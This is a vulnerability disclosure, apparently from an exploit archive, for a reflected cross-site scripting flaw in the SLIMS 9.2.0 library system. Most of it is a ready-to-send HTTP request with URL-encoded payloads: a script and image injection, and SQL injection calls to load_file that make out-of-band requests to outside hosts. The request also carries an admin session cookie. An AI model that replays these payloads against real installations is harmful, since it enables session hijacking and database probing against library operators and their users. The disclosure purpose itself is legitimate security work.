## Title: Senayan Library Management System v9.2.0 a.k.a SLIMS 9 XSS-Reflected - inserting gif - redirect to outside HTTPS server
## Author: nu11secur1ty
## Date: 12.19.2022
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.2.0
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.0

## Description:
The value of manual insertion `point 3` is copied into the HTML
document as plain text between tags.
The payload t8xqv<script>alert(1)</script>uou2q was submitted in the
manual insertion `point 3`.
This input was echoed unmodified in the application's response.
The attacker can trick the already authenticated users to visit an
very dangerous web page ot malicious javascript exploit.

## STATUS: HIGH Vulnerability

[+] Payloads:

```GET
GET /slims9_bulian-9.2.0/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%62%62%62%62%27%2b%28%73%65%6c%65%63%74%20%6c%6f%61%64%5f%66%69%6c%65%28%27%5c%5c%5c%5c%37%31%36%67%62%31%63%66%65%39%67%6b%6a%61%34%7a%64%6a%34%35%71%78%78%39%32%30%38%76%77%6c%6b%63%6e%30%65%6e%36%62%76%2e%73%6c%69%6d%73%2e%77%65%62%2e%69%64%5c%5c%6e%62%71%27%29%29%2b%27%74%38%78%71%76%3c%64%69%76%3e%3c%69%6d%61%67%65%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%6d%65%64%69%61%2e%67%69%70%68%79%2e%63%6f%6d%2f%6d%65%64%69%61%2f%62%54%42%79%75%74%61%6d%4a%53%6a%68%53%2f%67%69%70%68%79%2e%67%69%66%20%6f%6e%6c%6f%61%64%73%74%61%72%74%3d%61%6c%65%72%74%28%31%33%33%37%29%3e%68%65%6c%6c%6f%20%66%72%6f%6d%20%6e%75%31%31%73%65%63%75%72%31%74%79%3c%2f%64%69%76%3e%3c%2f%73%63%72%69%70%74%3e%75%6f%75%32%0a&membershipType=a%27%27&collType=aaaa%27%2b(select%20load_file(%27%5c%5c%5c%5cdctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id%5c%5cwtf%27))%2b%27
HTTP/1.1
Host: pwnedhost.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=i6ml8c8i4dmi37vtcpnnf9jhm9; admin_logged_in=1
Connection: close
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.0)

## Proof and Exploit:
[href](https://streamable.com/5smxxm)

## Time spent
`02:35:00`